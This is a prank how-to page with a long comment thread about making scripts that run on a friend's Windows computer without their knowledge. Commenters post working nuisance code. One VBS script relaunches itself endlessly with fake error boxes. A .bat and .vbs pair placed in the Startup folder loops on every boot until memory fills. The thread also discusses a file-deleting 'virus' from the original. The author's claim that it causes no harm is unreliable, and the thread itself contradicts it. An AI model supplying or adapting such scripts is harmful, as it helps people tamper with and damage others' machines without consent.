How to freak out your friends (with their computer) [Tricks and Fun Volume 1]

In this instructable I will show you how to do stuff on anyone's computer and freak them out!

Note: Please read the instructions carefully before trying to attempt this. No harm can be caused by this .vbs file. If you use the instructions wrongly (i.e mistake in typing codes) i will not be held for anything.

The first instructable will show you how to make a message box that comes alot of times onto the screen.
What the message box says is up to you.

You will need about 4-9 minutes to do (one of these) so try to convince your friend to let you use the computer alone for a while, or, do this when they are at the washroom!

Now, lets continue with the Instructables!!

Step 1

Comments

[msw100]

I don't think this sort of rubbish should be on this site, and I am surprised the moderators let it. Maybe it because they knew it doesn't do what it says as far as destroying a machine

[msw100]

That code will not destroy a system, it only a matter of re-formatting and installing the OS, All it will do is get you a smack in the mouth from the owner

[SwordAce]

You could also say ":LOOP msgbox "Windows has encountered an serious error and cannot continue.",89, "ERROR" GOTO LOOP" (do not add the quotation marks at the VERY end of the code (not the message) and the very begging (not the message) if you are posting the code! Do that for SUPREME impact on your PC!

[Master Plastik]

The fact that you think it's unfixable makes this a pretty malicious instructable, but the fact is that both pranks are easily fixable, and for the first one you don't even need to close all the popups. All you have to do is start the computer in Safe Mode (which doesn't open anything in the startup folder) and delete the .vbs files you created and restart.

[dllhacker]

can you also fix the blue screen of death that way? i don't think you could fix it by going into safe mode because the instructions said it deletes the system files.

[Super_Nerd]

If you have file recovery software on an external HDD you might be able to recover your files.

[Master Of Hacks]

Yes that is true but it is very unlikely that the victim would startup in safe mode for "no reason" and anyways he/she would eventually startup normally on the computer anyways. :P

[michaelb958]

Suggestion: Save this as error.vbs, removing the number at the start of each line.

1 set z = createobject("wscript.shell")
2 do
3 z.run "error.vbs"
4 msgbox "Windows has encountered an error and cannot continue.", 16, "ERROR"
5 loop

It opens itself before displaying the message, and the thing it opened does the same. Also, when one message is acknowledged, it opens two more!

[canno]

lol nice is there a way to make something like this on a macosx notebook

[greenbean]

There is a program similar to CMD on Macs. You could look into that.

[Master Of Hacks]

No sorry, i only know about Windows. :)

[jdege]

Wouldn't it be easier to use a for loop?

[Kiteman]

Wouldn't a loop trap it?

[greenbean]

It can in certain circumstances. See this instructable: www.instructables.com/id/Freezing-lots-of-Computers-at-Once/

[Master Of Hacks]

Actually the main propose why I did not use loop in the code was so that you could actually close the box(es).

[Kiteman]

Ah, that's what I thought.

[NachoMahma]

. Not sure what you mean by "trap it" but a loop would allow using only one file (or should, I'm not familiar with VBasic).

[Kiteman]

Me either - I just assumed that, since the numbered version jams the computer until all the numbered steps are done, a looped version would trap it forever.

[NachoMahma]

. Ah. A FOR loop has limits. Eg, in pseudo-code:

for x = 1 to 5  msgbox "msg text",89, "window name"next x

would (hopefully) display 5 instances of the dialog box.

[Master Of Hacks]

I have Vista & XP on the same computer. I tested your code on Vista but it does not work. I'll try on XP later and see if your code works.

[Master Of Hacks]

ahh, ok, your right! thank you nachomahma but im too lazy to re-write the stuff with this command so i'll just keep it the same. :S

[frollard]

by trap he means it wouldnt display the next until the first was clicked, as the msgbox event returns a value, and the loop cannot continue without that value.

[watermelonhead]

you know, this is like a real virus

[octavian234]

no its not it doesnt replicate

[greenbean]

If you bring it onto the victim's computer from a host, such as a USB flash drive, then it is considered a virus. And we can all agree that the common usage of the term "virus" is any malware. This is very obviously a harmful bit of code.

[Master Of Hacks]

Yeah,lol I better re-name the title.

[dllhacker]

can't it be fixed if you reinstall the computer with a new cd for the operating system? although it will be fixed you won't have all your files back unless you save some of them in another computer or something right?

[middletonaustin95]

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[Master Of Hacks]

I have seen a high amount of variant versions of this script, I would like to perform this script but (Nooby:) i just can't i always get a command promt. The CMD flashes on the screen for 1 second and goes away WTF?

[cons11]

the CMD command runs on me for even a minute...hehehe...maybe there's a virus on the PC eliminating it from running,to stop the user from removing it(the virus is what i'm talking about)

[Master Of Hacks]

Nope, if it flashes (comes on short then closes) then you've wrote the code wrong.

[greenbean]

Actually, Your code just tells the cmd to open, erase everything, and then shut off the computer. The CMD can close before the computer is completely off, and if it is fast enough, it caould theoretically flash.

[middletonaustin95]

this time i tested the new one to make sure it worked and it did

[middletonaustin95]

-i would put this in the startup folder -type this in notepad -make sure you make the .bat file and the .vbs file -this is for XP @echo off cd "C:\documents and settings\all users\start menu\programs\startup" :A start virus.vbs goto A -save it as a .bat file in "C:\documents and settings\all users\start menu\programs\startup -this one is for vista @echo off cd "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" :A start virus.vbs goto A -save it as a .bat file in "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" -type this in notepad -this is for XP and vista do msgbox "Windows has encountered an error and cannot continue." ,48, "ERROR CODE:9001" loop -save it as virus.vbs in your startup folder (where you put the .bat file) -make sure the .vbs file says do msgbox ... loop -there should only be three lines -this will keep opening the virus.vbs until the ram is full

[Bremer1281]

OH MY GOD I LOVE THIS THING!!! I just freaked out my mom on her computer and it was hilarious. unfortunately my dad figured it out and got mad at me because I titled it VIRUS and ya...... one thing you might concider is making it more obvious that it has to be a .vbs file or else it opens up the notepad document. but it rules and was funneeeeeeeeeeeeeee!!!

[Master Of Hacks]

:D

[icampwithAR]

dude i copied and pasted the code for the deletion virus and did all the other stuff and it doesnt work i tried to do it on my friends windows 98 comp and it said unknown file cannot complete or w/e so yea it didnt work any suggestions???

[Master Of Hacks]

Are you sure you followed the instructions correctly?

[Master Of Hacks]

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[icampwithAR]

also it didnt work on vista so ur saying that it will only work on xp?